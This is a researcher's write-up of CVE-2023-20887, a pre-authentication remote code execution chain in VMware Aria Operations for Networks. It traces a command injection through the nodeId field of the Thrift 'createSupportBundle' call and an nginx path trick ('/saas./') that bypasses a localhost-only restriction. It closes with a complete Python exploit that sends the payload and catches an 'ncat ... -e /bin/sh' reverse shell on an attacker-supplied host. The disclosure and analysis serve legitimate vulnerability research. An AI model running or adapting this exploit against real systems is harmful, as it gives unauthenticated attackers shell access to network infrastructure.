Introduction
============
I have recently identified and reported multiple vulnerabilities within VMware vRealize Network Insight by working with the Zero Day Initiative. Several of these vulnerabilities have been assigned a CVE:
* [CVE-2023-20887](https://www.zerodayinitiative.com/advisories/ZDI-23-840/)
* [CVE-2023-20888](https://www.zerodayinitiative.com/advisories/ZDI-23-841/)
* [CVE-2023-20889](https://www.zerodayinitiative.com/advisories/ZDI-23-842/)
In this post we’ll go over the exploitation process of VMware Aria Operations for Networks (Formerly vRealize Network Insight) specifically CVE-2023-20887, This is a chain of two issues which results in Remote Code Execution (RCE), Despite independently discovering and reporting the Pre-Authentication Remote Code Execution (CVE-2023-20887) vulnerability to the Zero Day Initiative (ZDI), along with several other vulnerabilities, I was outpaced by an anonymous researcher who reported it first. This post will examine the exploitation process of CVE-2023-20887 in VMware Aria Operations for Networks (formerly known as vRealize Network Insight). This vulnerability comprises a chain of two issues leading to Remote Code Execution (RCE) that can be exploited by unauthenticated attackers.
Vulnerability Analysis
======================
The nginx configuration at `/etc/nginx/sites-available/vnera` restricts access to the `/saasresttosaasservlet` endpoint when called from `:443`.
The rule Only allows requests made from localhost.
Successful request to this endpoint will be proxy to the port 9090, an Apache Thrift RPC Server running on this port.
server {
[..SNIP..]
location /saasresttosaasservlet {
allow 127.0.0.1;
deny all;
rewrite ^/saas(.*)$ /$1 break;
proxy_pass http://127.0.0.1:9090;
proxy_redirect off;
proxy_buffering off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
location /saas {
rewrite ^/saas(.*)$ /$1 break;
proxy_pass http://127.0.0.1:9090;
proxy_redirect off;
proxy_buffering off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
The architecture for this RPC server mapping is as follow:
Service
Protocol
URL
CollectorToSaasCommunication
TBinaryProtocol
/collectortosaasservlet/\*
FedPeerToSaasCommunication
TBinaryProtocol
/fedpeertosaasservlet/\*
SaasToCollectorCommunication
TBinaryProtocol
/saastocollectorservlet/\*
SaasToFedPeerCommunication
TBinaryProtocol
/saastofedpeerservlet/\*
SaasToCollectorDataLink
TBinaryProtocol
/saastocollectordatalinkservlet/\*
RestToSaasCommunication
TJSONProtocol
/resttosaasservlet/\*
GenericSaasService
TJSONProtocol
/genericsaasservlet/\*
The `RestToSaasCommunication` responds when accessing the `/resttosaasservlet` on port 9090. This Thrift endpoint understands many procedures:
1 private static <I extends AsyncIface> Map<String, AsyncProcessFunction<I, ? extends TBase, ?>> getProcessMap(Map<String, AsyncProcessFunction<I, ? extends TBase, ?>> processMap) {
2 processMap.put("executeCommand", new executeCommand());
3 processMap.put("executeInfraCommand", new executeInfraCommand());
4 processMap.put("getDataSourceList", new getDataSourceList());
5 processMap.put("getDataSourceListWithWebProxyConfigured", new getDataSourceListWithWebProxyConfigured());
6 processMap.put("getDataSourceListByWebProxyId", new getDataSourceListByWebProxyId());
7 processMap.put("getDataSourceMapByDpIds", new getDataSourceMapByDpIds());
8 processMap.put("getAllDataSourcesMap", new getAllDataSourcesMap());
9 processMap.put("getOnDemandQueryResponseFromCollector", new getOnDemandQueryResponseFromCollector());
10 processMap.put("setDataSource", new setDataSource());
11 processMap.put("removeDataSource", new removeDataSource());
12 processMap.put("validateCredential", new validateCredential());
13 processMap.put("unpairPeer", new unpairPeer());
14 processMap.put("startDataSource", new startDataSource());
15 processMap.put("startDataSources", new startDataSources());
16 processMap.put("stopDataSource", new stopDataSource());
17 processMap.put("updateDataSource", new updateDataSource());
18 processMap.put("collectConfigNow", new collectConfigNow());
19 processMap.put("updateNode", new updateNode());
20 processMap.put("getNodesInfo", new getNodesInfo());
21 processMap.put("getCustomersNodesInfo", new getCustomersNodesInfo());
22 processMap.put("getProxyNodesInfo", new getProxyNodesInfo());
23 processMap.put("getFedPeerNodesInfo", new getFedPeerNodesInfo());
24 processMap.put("deleteNode", new deleteNode());
25 processMap.put("forcedDeleteNode", new forcedDeleteNode());
26 processMap.put("getDataSourceConfiguration", new getDataSourceConfiguration());
27 processMap.put("getDataSourceId", new getDataSourceId());
28 processMap.put("getDataSourceHostKeys", new getDataSourceHostKeys());
29 processMap.put("sendData", new sendData());
30 processMap.put("getTenantProxyDataSourceList", new getTenantProxyDataSourceList());
31 processMap.put("getSharedProxyDataSourceList", new getSharedProxyDataSourceList());
32 processMap.put("sendDataToGrid", new sendDataToGrid());
33 processMap.put("enableSupportTunnel", new enableSupportTunnel());
34 processMap.put("disableSupportTunnel", new disableSupportTunnel());
35 processMap.put("checkSupportTunnel", new checkSupportTunnel());
36 processMap.put("enableOnlineUpgrade", new enableOnlineUpgrade());
37 processMap.put("disableOnlineUpgrade", new disableOnlineUpgrade());
38 processMap.put("checkOnlineUpgrade", new checkOnlineUpgrade());
39 processMap.put("createSupportBundle", new createSupportBundle()); // urmum
40 processMap.put("sendUpgradeTargetManifest", new sendUpgradeTargetManifest());
41 processMap.put("getSystemInfo", new getSystemInfo());
42 processMap.put("createTenantSystem", new createTenantSystem());
43 processMap.put("deleteTenantSystem", new deleteTenantSystem());
44 processMap.put("createPlatformNode", new createPlatformNode());
45 processMap.put("sendNotifications", new sendNotifications());
46 processMap.put("setSystemPreference", new setSystemPreference());
47 processMap.put("toggleFipsMode", new toggleFipsMode());
48 return processMap;
49 }
One of the available procedures is `createSupportBundle` , This procedure expects a structure which has been implemented below:
1
2 public static class createSupportBundle_args implements TBase<createSupportBundle_args, _Fields>, Serializable, Cloneable, Comparable<createSupportBundle_args> {
3 private static final TStruct STRUCT_DESC = new TStruct("createSupportBundle_args");
4 private static final TField CUSTOMER_ID_FIELD_DESC = new TField("customerId", (byte)11, (short)1);
5 private static final TField NODE_ID_FIELD_DESC = new TField("nodeId", (byte)11, (short)2);
6 private static final TField REQUEST_ID_FIELD_DESC = new TField("requestId", (byte)11, (short)3);
7 private static final TField EVICTION_REQUEST_IDS_FIELD_DESC = new TField("evictionRequestIds", (byte)15, (short)4);
8 private static final SchemeFactory STANDARD_SCHEME_FACTORY = new createSupportBundle_argsStandardSchemeFactory();
9 private static final SchemeFactory TUPLE_SCHEME_FACTORY = new createSupportBundle_argsTupleSchemeFactory();
10 @Nullable
11 public String customerId;
12 @Nullable
13 public String nodeId;
14 @Nullable
15 public String requestId;
16 @Nullable
17 public List<String> evictionRequestIds;
18 public static final Map<_Fields, FieldMetaData> metaDataMap;
19
20 public createSupportBundle_args() {
21 }
22
23 public createSupportBundle_args(String customerId, String nodeId, String requestId, List<String> evictionRequestIds) {
24 this();
25 this.customerId = customerId;
26 this.nodeId = nodeId;
27 this.requestId = requestId;
28 this.evictionRequestIds = evictionRequestIds;
29 }
30
31 public createSupportBundle_args(createSupportBundle_args other) {
32 if (other.isSetCustomerId()) {
33 this.customerId = other.customerId;
34 }
35
36 if (other.isSetNodeId()) {
37 this.nodeId = other.nodeId;
38 }
39
40 if (other.isSetRequestId()) {
41 this.requestId = other.requestId;
42 }
43
44 if (other.isSetEvictionRequestIds()) {
45 List<String> __this__evictionRequestIds = new ArrayList(other.evictionRequestIds);
46 this.evictionRequestIds = __this__evictionRequestIds;
47 }
48
49 }
50
51 public createSupportBundle_args deepCopy() {
52 return new createSupportBundle_args(this);
53 }
54
55 public void clear() {
56 this.customerId = null;
57 this.nodeId = null;
58 this.requestId = null;
59 this.evictionRequestIds = null;
60 }
Which translates to the below structure:
struct {
customerId,
nodeId,
requestId,
evictionRequestIDs
}
`createSupportBundle` as it’s name implies, will take care of support bundle creation:
1 public Result createSupportBundle(String customerId, String nodeId, String requestId, List<String> evictionRequestIds) {
2 ServiceThriftListener.logger.info("Request support bundle for customerId {} requestId {} nodeId {}", new Object[]{customerId, requestId, nodeId});
3 if (!evictionRequestIds.isEmpty()) {
4 for(int i = 0; i < evictionRequestIds.size(); ++i) {
5 if (!SupportRequestStore.isValidateRequestId((String)evictionRequestIds.get(i))) {
6 ServiceThriftListener.logger.error("Provided invalid evictionRequestId {}.", evictionRequestIds.get(i));
7 return new Result(ERROR_CODE.FAILED.getValue(), "Provided invalid eviction requestId " + (String)evictionRequestIds.get(i));
8 }
9 }
10 }
11
12 ServiceThriftListener.supportBundleExecutor.submit(() -> {
13 int cidInt = Integer.parseInt(customerId);
14 String nodeType = this.isLocalNodeId(nodeId) ? "platform" : "proxy";
15 SupportRequestStore.Policy policy = ServiceThriftListener.supportRequestStore.getPolicy(Type.SUPPORT_BUNDLE);
16 Integer maxFiles = policy != null ? policy.getMaxRequests() : null;
17 String vcfLogToken = this.getVCFLogToken();
18
19 try {
20 ScriptUtils.evictLocalSupportBundles(nodeType, nodeId, evictionRequestIds, maxFiles, vcfLogToken);
21 ScriptUtils.evictPublishedSupportBundles(nodeType, nodeId, evictionRequestIds, maxFiles, vcfLogToken);
22 [..SNIP..]
At line 21, the `nodeId` will be passed to the `ScriptUtils.class#evictPublishedSupportBundles`
The method does some basic checks to make sure the arguments are not empty and at lines 16, 18 constructs an interesting command.
1 public static synchronized void evictPublishedSupportBundles(String nodeType, String nodeId, List<String> evictionRequestIds, Integer maxFiles, String vcfLogToken) throws Exception {
2 Preconditions.checkArgument(NullOrEmpty.isFalse(nodeId, true));
3 Iterator var5 = CollectionUtils.emptyIfNull(evictionRequestIds).iterator();
4
5 while(var5.hasNext()) {
6 String r = (String)var5.next();
7 String filename = getSupportBundlePublishPath(getSupportBundleFilename(nodeType, nodeId, r, vcfLogToken));
8 Preconditions.checkArgument(!filename.contains("*"));
9 boolean deleted = ArkinFileUtils.delete(filename, FsType.DEFAULT);
10 if (!deleted) {
11 logger.error("Could not delete file {}", filename);
12 }
13 }
14
15 if (maxFiles != null) {
16 String evictCommand = String.format("sudo ls -tp %s/sb.%s.%s*.tar.gz | grep -v '/$' | tail -n +%d | xargs -I {} rm -- {}", "/ui-support-bundles", nodeType, nodeId, maxFiles);
17 if (CommonUtils.isPlatformCluster()) {
18 evictCommand = String.format("%s %s %s", "sudo /home/ubuntu/build-target/saasservice/cleansb.sh", nodeId, nodeType);
19 }
20
21 int evictRet = runCommand(evictCommand);
22 if (evictRet != 0) {
23 logger.error("Could not cleanup command {}, command returned {}", evictCommand, evictRet);
24 }
25 }
26
27 }
The `evictPublishedSupportBundles` is vulnerable to a command injection by placing the `nodeId` inside a command at line 16 and 18, this command gets executed at line 21.
By crafting a Thrift RPC request it’s possible to exploit the `createSupportBundle` procedure, but as said before, access to this thrift endpoint from outside is restricted so I needed to get around this.
The Bypass
==========
Normally in order to access the service and have it proxy using nginx, a request like this should be made:
https://VRNI-IP/saasresttosaasservlet --> MATCH location /saasresttosaasservlet ALLOW 127.0.0.1
Which gets denied by the nginx rule, lets have a look at the nginx configuration one more time:
server {
[..SNIP..]
location /saasresttosaasservlet {
allow 127.0.0.1;
deny all;
rewrite ^/saas(.*)$ /$1 break;
proxy_pass http://127.0.0.1:9090;
proxy_redirect off;
proxy_buffering off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
location /saas {
rewrite ^/saas(.*)$ /$1 break;
proxy_pass http://127.0.0.1:9090;
proxy_redirect off;
proxy_buffering off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
If you haven’t noticed it yet, then look again, In order to bypass this rule, it’s possible to send a request like this:
https://VRNI-IP/saas./resttosaasservlet --> MATCH location /saas rewrite ^/saas(.*)$ /$1 PROXY_PASS
The nginx proxy will treat this as:
https://VRNI-IP/./resttosaasservlet
Proof of Concept
================
![](https://images.seebug.org/1686819584596-w331s)
PoC.py
======
"""
VMWare Aria Operations for Networks (vRealize Network Insight) unauthenticated RCE
Version: 6.8.0.1666364233
Exploit By: Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)
"""
import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)
import requests
from threading import Thread
import argparse
from telnetlib import Telnet
import socket
requests.packages.urllib3.disable_warnings()
argparser = argparse.ArgumentParser()
argparser.add_argument("--url", help="VRNI URL", required=True)
argparser.add_argument("--attacker", help="Attacker listening IP:PORT (example: 192.168.1.10:1337)", required=True)
args = argparser.parse_args()
def handler():
print("(*) Starting handler")
t = Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((args.attacker.split(":")[0],int(args.attacker.split(":")[1])))
s.listen(1)
conn, addr= s.accept()
print(f"(+) Received connection from {addr[0]}")
t.sock = conn
print("(+) pop thy shell! (it's ready)")
t.interact()
def start_handler():
t = Thread(target=handler)
t.daemon = True
t.start()
def exploit():
url = args.url + "/saas./resttosaasservlet"
revshell = f'ncat {args.attacker.split(":")[0]} {args.attacker.split(":")[1]} -e /bin/sh'
payload = """[1,"createSupportBundle",1,0,{"1":{"str":"1111"},"2":{"str":"`"""+revshell+"""`"},"3":{"str":"value3"},"4":{"lst":["str",2,"AAAA","BBBB"]}}]"""
result = requests.post(url, headers={"Content-Type":"application/x-thrift"}, verify=False, data=payload, proxies={"http":"http://localhost:8080","https":"http://localhost:8080"})
start_handler()
exploit()
try:
while True:
pass
except KeyboardInterrupt:
print("(*) Exiting...")
exit(0)
References
==========
* [PoC on Github](https://github.com/sinsinology/CVE-2023-20887)
* [CVE-2023-20887](https://www.zerodayinitiative.com/advisories/ZDI-23-840/)
* [CVE-2023-20888](https://www.zerodayinitiative.com/advisories/ZDI-23-841/)
* [CVE-2023-20889](https://www.zerodayinitiative.com/advisories/ZDI-23-842/)
暂无评论